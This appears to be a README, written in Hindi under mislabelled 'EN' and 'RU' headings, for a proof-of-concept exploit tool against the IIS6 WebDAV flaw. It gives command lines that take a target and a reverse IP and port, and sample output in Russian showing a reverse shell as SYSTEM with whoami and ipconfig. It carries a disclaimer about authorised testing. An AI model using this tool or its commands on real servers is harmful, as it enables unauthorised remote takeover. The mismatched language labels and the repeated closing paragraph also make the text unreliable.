EN

GenWebDavIISExploit एक PoC उपकरण है जो IIS6 के WebDAV घटक में ज्ञात कमजोरी के शोषण को प्रदर्शित करता है। यह उपकरण शैक्षिक और अनुसंधान उद्देश्यों के लिए डिज़ाइन किया गया है ताकि यह दिखाया जा सके कि इस कमजोरी का उपयोग रिमोट सर्वर पर मनमाना कोड निष्पादित करने के लिए कैसे किया जा सकता है।

अस्वीकरण

यह परियोजना केवल शैक्षिक उद्देश्यों के लिए है। इस उपकरण का उपयोग जिम्मेदारी से और केवल उन प्रणालियों पर करें जिनके आप स्वामी हैं या जिनके परीक्षण करने की स्पष्ट अनुमति है। कंप्यूटर सिस्टम में अनधिकृत पहुंच अवैध है।

विशेषताएँ

कमजोर IIS6 WebDAV सर्वरों पर रिमोट कोड निष्पादन।
उपयोगकर्ता-निर्दिष्ट रिवर्स IP और पोर्ट के साथ गतिशील पेलोड निर्माण।
त्वरित शोषण के लिए उपयोग में आसान कमांड-लाइन इंटरफ़ेस।

आवश्यक शर्तें

Python 3.x: सुनिश्चित करें कि आपके सिस्टम पर Python 3 स्थापित है।
नेटवर्क एक्सेस: लक्ष्य मशीन के IP और पोर्ट से कनेक्ट करने की क्षमता।

उपयोग

कमांड-लाइन आर्गुमेंट्स

लक्ष्य IP: लक्ष्य IIS6 WebDAV सर्वर का IP पता।
लक्ष्य पोर्ट: वह पोर्ट नंबर जिस पर WebDAV सेवा चल रही है (आमतौर पर 80)।
रिवर्स IP: आपका IP पता जहाँ रिवर्स शेल को कनेक्ट होना चाहिए।
रिवर्स पोर्ट: रिवर्स शेल प्राप्त करने के लिए आपके सिस्टम पर पोर्ट नंबर।

उदाहरण

python3 GenWebDavIISExploit.py <target_ip> <target_port> <reverse_ip> <reverse_port>

उपयोग उदाहरण

python3 GenWebDavIISExploit.py 192.168.1.10 80 192.168.1.5 4444

उदाहरण आउटपुट

$ python3 GenWebDavIISExploit.py 192.168.1.10 80 192.168.1.5 4444

[*] Подключение к цели 192.168.1.10 на порту 80...
[*] Отправка специально сформированного HTTP-запроса для эксплуатации уязвимости...
[*] Длина полезной нагрузки: 1744 байт
[*] Ожидание обратного соединения...

[+] Ответ от цели:
HTTP/1.1 200 OK
Content-Length: 123
Server: Microsoft-IIS/6.0

[+] Получено обратное соединение от 192.168.1.10:12345
[+] Удаленный доступ успешно установлен!

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> ipconfig
Настройка IP Windows

   Адаптер Ethernet Local Area Connection:
      DNS-суффикс подключения . . . . . : example.local
      IPv4-адрес. . . . . . . . . . . . : 192.168.1.10
      Маска подсети . . . . . . . . . . : 255.255.255.0
      Основной шлюз . . . . . . . . . . : 192.168.1.1

नोट्स

सुनिश्चित करें कि आने वाले रिवर्स शेल को कैप्चर करने के लिए आपके पास निर्दिष्ट रिवर्स पोर्ट पर एक लिसनर चल रहा है।
इस उपकरण का उपयोग केवल अधिकृत सिस्टम पर कमजोरियों के परीक्षण के लिए करें।

RU

GenWebDavIISExploit एक PoC उपकरण है जो IIS6 पर WebDAV घटक में ज्ञात कमजोरी के शोषण को प्रदर्शित करता है। यह उपकरण शैक्षिक और अनुसंधान उद्देश्यों के लिए बनाया गया है ताकि यह दिखाया जा सके कि इस कमजोरी का उपयोग रिमोट सर्वर पर मनमाना कोड निष्पादित करने के लिए कैसे किया जा सकता है।